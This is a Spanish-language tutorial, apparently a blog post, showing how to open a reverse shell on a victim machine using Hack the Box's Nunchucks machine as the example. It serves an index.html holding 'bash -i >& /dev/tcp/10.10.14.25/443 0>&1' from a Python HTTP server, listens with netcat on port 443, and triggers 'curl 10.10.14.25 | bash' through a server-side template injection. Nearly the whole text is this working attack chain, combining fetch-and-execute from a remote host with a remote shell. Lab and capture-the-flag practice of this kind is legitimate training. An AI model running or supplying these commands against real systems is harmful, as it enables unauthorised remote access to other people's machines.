En este artículo vamos a ver como establecer una reverse shell
mediante una petición con Curl
.
Curl es una herramienta cuya finalidad es transferir datos a través de una URL. Es un comando disponible en la mayoría de los
sistemas basados en Unix. Es una abreviatura de Client URL
. Los comandos de Curl están diseñados para funcionar como una forma
de verificar la conectividad a las URL y como una gran herramienta para transferir datos.
Para realizar esta operación lo primero que debemos comprobar es que podamos realizar la petición desde el equipo víctima y que este tenga Curl instalado. Una vez tenemos esto solucionado vamos a ver el funcionamiento de manera básica.
Cuando realizamos una petición con Curl desde la máquina víctima:
curl [Ip de Escucha]
curl 10.10.14.25
Y nosotros nos ponemos en escucha desde nuestra terminal, utilizando un servicio HTTP montado con Python 3 por el puerto 80:
sudo python3 -m http.server 80
El funcionamiento es el siguiente, cuando Curl envía una petición a nuestro equipo, estamos realizando una petición a HTTP
tratando de conseguir
un Index.html
(Para poder interpretar la página), aquí es donde viene la trampa.
Lo que nosotros vamos a hacer es crear nuestro propio archivo index.html
, de forma que por dentro tenga los comandos para establecer una reverse shell con bash.
De esta manera, cuando hagamos la petición por Curl y le ordenemos ejecutarlo con bash se nos abrirá la reverse shell que hayamos establecido.
El archivo index.html
debe guardarse en el mismo directorio desde donde utilicemos el servicio HTTP.
Vamos a necesitar tres terminales, una desde donde ejecutar la petición por Curl desde el equipo víctima, una segunda donde usaremos el servicio HTTP para
compartir el archivo index.html
y una tercera donde nos pondremos en escucha con NetCat
(Aquí recibiremos la reverse shell).
Lo primero que vamos a hacer es preparar nuestro archivo index.html
, creamos una carpeta llamada shell
independiente para que nos sea más fácil:
sudo mkdit shell
cd shell
Ahora creamos y definimos nuestro archivo index.html
:
sudo nano index.html
Copiamos y pegamos el siguiente código:
#!/bin/bash
bash -i >& /dev/tcp/[Vuestra Ip]/[Puesto de escucha de NetCat] 0>&1
Debería de quedar algo así:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.25/443 0>&1
Una vez copiado con vuestros datos, guardáis (Ctrl x O) y salís (Ctrl + X).
Bien, ya tenemos nuestra reverse shell en bash preparada y apuntado al puerto 443. Ahora, desde la misma terminal y permaneciendo en el directorio que contenga
el archivo que acabamos de crear, vamos a ejecutar el servicio HTTP con Python 3 para poder compartir el archivo index.html
.
sudo python3 -m http.server 80
Abrimos nuestra segunda terminal y ponemos a Netcat
en escucha por el puerto 443:
sudo nc -lvnp 443
Ya tenemos nuestro puerto preparado para recibir la reversehe shell.
Finalmente, nos dirigimos a la terminal donde estemos en contacto con la víctima, es este ejemplo realizaré la petición usando BurpSuite ejecutando el comando dentro de un SSTI. Pero básicamente, lo que debemos es realizar la siguiente petición desde el equipo víctima:
curl 10.10.14.25 | bash
Curl
: Realizará la petición y copiará el archivo index.html desde nuestro servidor creado en Python 3.bash
: Ordena la ejecución o interpretación del comando definido dentro del archivo, en nuestro caso, establecer una reverse shell por el puerto 443.Como podéis ver, el comando Curl está dentro de la inyección SSTI, de tal forma que ya solo quedaría enviar la petición. También podemos ver como en la terminal del servidor HTTP nos indica un Get
con código de confirmación 200
.
Tras ejecutar este último comando se nos tendría que haber abierto una Shell en la terminal por la que estábamos en escucha con NetCat.
Para este ejemplo hemos utilizado la máquina Nunchuchks de Hack the Box.